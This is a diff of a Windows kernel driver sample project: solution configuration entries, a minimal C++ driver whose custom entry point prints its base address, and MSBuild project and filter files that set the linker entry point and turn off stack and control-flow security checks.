{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|ARM64.ActiveCfg = Debug|Win32
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.ActiveCfg = Debug|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.Build.0 = Debug|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x86.ActiveCfg = Debug|Win32
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x86.Build.0 = Debug|Win32
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|ARM.ActiveCfg = Release|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|ARM64.ActiveCfg = Release|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.ActiveCfg = Release|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.Build.0 = Release|x64
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x86.ActiveCfg = Release|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Debug|ARM.ActiveCfg = Debug|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Debug|ARM64.ActiveCfg = Debug|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Debug|x64.ActiveCfg = Debug|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Debug|x64.Build.0 = Debug|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Debug|x86.ActiveCfg = Debug|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Release|ARM.ActiveCfg = Release|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Release|ARM64.ActiveCfg = Release|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Release|x64.ActiveCfg = Release|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Release|x64.Build.0 = Release|x64
{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}.Release|x86.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Debug|ARM.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Debug|ARM64.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Debug|x64.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Debug|x86.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Release|ARM.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Release|ARM64.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Release|x64.ActiveCfg = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Release|x64.Build.0 = Release|x64
{4762E003-2349-4AD2-A32B-31F57E895E07}.Release|x86.ActiveCfg = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {9A1C25B3-36E8-4ED5-A9C4-7E7FAA3F7354}
EndGlobalSection
EndGlobal

@ -0,0 +1,10 @@
#include <ntddk.h>
// NOTE: this driver has a custom entry point (drv_entry), if you make a new project
// please change the driver entry in linker settings... You will also need to disable
// CFG in c++ --> code generations, along with GS...
auto drv_entry(uintptr_t drv_base) -> NTSTATUS
{
DbgPrint("> drv base -> 0x%p\n", drv_base);
return STATUS_SUCCESS;
}

@ -0,0 +1,59 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{4762E003-2349-4AD2-A32B-31F57E895E07}</ProjectGuid>
<TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
<Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>drv_example</RootNamespace>
<WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
<Driver_SpectreMitigation>false</Driver_SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<LanguageStandard>stdcpp17</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ControlFlowGuard>false</ControlFlowGuard>
</ClCompile>
<Link>
<EntryPointSymbol>drv_entry</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<FilesToPackage Include="$(TargetPath)" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="drv_entry.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="drv_entry.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
Loading…
Cancel
Save